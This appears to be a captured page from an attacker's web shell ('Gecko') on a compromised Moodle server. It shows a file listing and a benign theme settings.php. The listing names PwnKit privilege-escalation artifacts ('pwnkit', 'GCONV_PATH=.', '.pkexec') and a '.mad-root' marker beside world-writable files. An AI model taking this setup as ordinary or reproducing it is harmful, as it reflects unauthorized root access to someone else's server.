Gecko [ 167.86.127.34 ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
lang	[ DIR ]	drwxrwxrwx
layout	[ DIR ]	drwxrwxrwx
pix	[ DIR ]	drwxrwxrwx
pix_core	[ DIR ]	drwxrwxrwx
style	[ DIR ]	drwxrwxrwx
.mad-root	0 B	-rw-r--r--
config.php	7.63 KB	-rwxrwxrwx
lib.php	1.58 KB	-rwxrwxrwx
pwnkit	10.99 KB	-rwxr-xr-x
settings.php	1.58 KB	-rwxrwxrwx
version.php	1.21 KB	-rwxrwxrwx

Code Editor : settings.php

<?php
 
/**
 * Settings for the sky_high theme
 */
 
defined('MOODLE_INTERNAL') || die;

if ($ADMIN->fulltree) {
 
// Logo file setting
$name = 'theme_sky_high/logo';
$title = get_string('logo','theme_sky_high');
$description = get_string('logodesc', 'theme_sky_high');
$setting = new admin_setting_configtext($name, $title, $description, '', PARAM_URL);
$setting->set_updatedcallback('theme_reset_all_caches');
$settings->add($setting);
 
// Block region width
$name = 'theme_sky_high/regionwidth';
$title = get_string('regionwidth','theme_sky_high');
$description = get_string('regionwidthdesc', 'theme_sky_high');
$default = 240;
$choices = array(200=>'200px', 240=>'240px', 290=>'290px', 350=>'350px', 420=>'420px');
$setting = new admin_setting_configselect($name, $title, $description, $default, $choices);
$setting->set_updatedcallback('theme_reset_all_caches');
$settings->add($setting);
 
// Foot note setting
$name = 'theme_sky_high/footnote';
$title = get_string('footnote','theme_sky_high');
$description = get_string('footnotedesc', 'theme_sky_high');
$setting = new admin_setting_confightmleditor($name, $title, $description, '');
$setting->set_updatedcallback('theme_reset_all_caches');
$settings->add($setting);
 
// Custom CSS file
$name = 'theme_sky_high/customcss';
$title = get_string('customcss','theme_sky_high');
$description = get_string('customcssdesc', 'theme_sky_high');
$setting = new admin_setting_configtextarea($name, $title, $description, '');
$setting->set_updatedcallback('theme_reset_all_caches');
$settings->add($setting);
 
// Add our page to the structure of the admin tree

}
?>

${this.title}

Code Editor : settings.php